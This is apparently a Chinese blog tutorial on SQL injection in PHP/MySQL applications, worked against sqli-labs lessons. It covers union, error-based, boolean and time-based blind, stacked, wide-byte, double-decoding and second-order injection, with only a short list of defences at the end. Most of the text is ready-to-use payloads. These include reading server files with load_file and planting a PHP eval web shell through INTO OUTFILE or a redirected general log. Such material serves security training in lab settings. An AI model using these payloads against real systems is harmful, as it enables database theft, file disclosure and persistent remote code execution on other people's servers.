PHP -- SQL 注入讲解

概念

SQL 注入漏洞,本质是语句的混淆,对用户输入的语句过滤不严,导致语句拼接成新的语句,达到注入的目的。

原理

参数用户可控:前端传给后端的参数内容是用户可控的。
参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

注入点类型

数字型

select * from tables where id = 1;

字符型

select * from tables where id = '1';

搜索型

select* from tables where id like '%1%';

基于 union 查询的注入

联合查询要注意的是后面查询的列数要与主查询的列数一致

主要步骤

1 通过 ?id=1 and 1=1 ,and 1=2 。如果输出的结果不一致,说明输入的语句被执行了。就可以开始下一步了。

2 观察报错信息来确定注入点的类型。

3 使用order by 来查询主查询列数。

4 用union select 查询,将主查询项改成负数。

select* from tables where id = -1 union select 1,2,3;

5 在回显的位置上替换成查询语句,database(),user()。

6 查到库名后查表名

-1 union select 1,(SELECT group_concat(COLUMN_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名" 

7 查列

-1 union select 1,(SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = "库名" AND TABLE_NAME = "表名"),3

8 查字段

select group_concat(列名) from "表名"

报错型注入

通过构造特殊报错语句,使mysql数据库报错。后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

常用的爆错函数updatexml(),extractvalue(),floor()

1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
and extractvalue(1, concat(0x7e,(select database()),0x7e))
and 1=(updatexml(1,concat(0x3a,(select user())),1))

盲注

有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。
这种情况下的注入,称为盲注。
盲注根据展现方式,分为boolean型盲注和时间型盲注。

Boolean 型盲注

Boolean是基于真假的判断(true or false);不管输入什么,结果都只返回真或假两种情况;
通过and 1=1和and 1=2可以发现注入点。显示结果不一样。
Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。

Boolean型盲注的判断方式有

 通过长度判断length():select length(database())>=x
 通过字符判断substr():select substr(database(),1,1) =‘s’
 通过ascII码判断:ascii():select ascii(substr(database(),1,1)) =x

用 burpsuite 抓包 ,添加 l e n g t h length length 进行暴库的长度。
得到长度后再用 s u b s t r substr substr 得到库名。

时间盲注

当不论输入什么页面都不显示,或显示都一样的时候可以通过时间回显的延迟作为判断。
利用sleep()或benchmark()函数延长mysql的执行时间;与if()搭配使用。

常用payload

(什么型–eg字符型)1’ and if(length(database())>1,sleep(5),1)–+
如果数据库名字符长度大于1为真,则mysql休眠5秒,否则查询1。

盲注常用函数

left(m,n) --从左向右截取字符串m返回其前n位

substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串

ascii(m) --返回字符m的ASCII码

if(str1,str2,str3)–如果str1正确就执行str2,否则执行str3

sleep(m)–使程序暂停m秒

length(m) --返回字符串m的长度

count(column_name) --返回指定列的值的数目

文件读写

读取文件

先查看数据库的secure_file_priv 配置文件
mysql> show global variables like ‘%like%’;

在这里插入图片描述
配置文件是这样的就是可以读写文件的

如果不是就找到mysql的配置文件,mysql-my.ini 然后添加一句 secure_file_priv =
就可以了。

读取文件

http://192.168.100.200:8004/Less-1/?id=-1’ union select 1,(select load_file(‘c:/phpstudy/www/123.txt’)),3#

写文件

http://192.168.100.200:8004/Less-1/?id=-1’ union select 1,2,"<?php @eval($_POST['A']);?>" into outfile ‘c:/phpstudy/www/123.php’#

写入后 可以对文件进行访问

读写条件

1.secure_file_priv =
2.要知道文件的绝对路径

secure_file_priv的值是null的时候

当secure_file_priv的值是null的时候,实际上是可以读写的,用下面的方法,前提也是需要知道绝对路径,并且是数据库root权限。

set global general_log=on;
set global general_log_file=‘C:/phpStudy/www/666.php’;
select '<?php eval($_POST[1]);?>;

堆叠注入

数据库查询语句以;结尾。当允许多条查询语句同时成立的时候,就能使用堆叠注入。

一般情况:select * from users where id = ‘1’;
堆叠注入:select * from users where id = ‘1’; insert into … #’;

less-38:?id=1’;insert into users (id,username,password) value (38,‘admin38’,‘passwd38’) %23

宽字节注入

数据库使用的GBK的编码,在中文编码环境中,二个字符占了2个字节,\ 的ascii 数字是5c,在宽
字节中,81-fe中的任何字符都可以与5c组成一个新的宽字符,当我们在注入点输入Xdf%27时,函数遇到单引号自动转移加入\,此时变为%bfX5c%27, %dfX5c在gbk中变为一个宽字符“li蓮”,单引号%27逃逸出来,形成蓮’,造成注入。

常规:
输入 ?id=1’ 时,数据库中就变成 select * from users where id = ‘1’’

宽字节注入:输入 ?id=1%df’ 时,数据库中变成 select * from users where id = ‘1蓮’’

urldecode 编码注入?

如果某个地方使用了 urldecode 或者 rawurldecode 函数的话,就会导致二次解码生成单引号引发注入。原理是当我们提交 web 参数的时候,web服务器会自动对url编码进行1次解码,假设目标有了过滤,我们提交id=1%2527时候,没有带单引号(单引号url编码为%27),这时候服务器会自动解码,解码的是%25,而%25的解码结果恰好是%(百分号),就能刚好和剩下的27组合成%27,如果程序里面还有urldecode 这样的解码函数的话,将会引发二次解码,这样解码后就变成id=1’,引发注入。

正常 当输入 ?id=1’ 时,因为有addslashes转译,会自动添加 ’
变成 select * from users where id = ‘1’’

注入 在 addslashes 的外面还套了个 urldecode 函数,所以外面输入的 ?id=1%2527
select * from users where id = ‘1’’ 成功注入。

二次注入

如果在初始输入点遇到有sql 注入防护的时候,比如addslashes(),我们输入的单引号会被转义,变成’。其问题就在于当初始输入被转义后存入数据库中的时候,数据库保存的时候会把\去掉,一旦我们再次调用该数据的时候,就会形成二次注入。

less-24 注册一个用户名为 try’# 的用户,数据库中显示也是try’#。
然后用这个用户登录并修改密码,数据库语句为:updata users set password=‘123456’ where username = ‘try’’#;
实际上 ’ 闭合前面的单引号,#注释后面的单引号,所有修改的用户不是try’# 而是try 了。

SQL注入防御

严禁使用拼接字符串的形式编码
采用预编译
对输入进行严格过滤和转义
部署waf
云防护

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值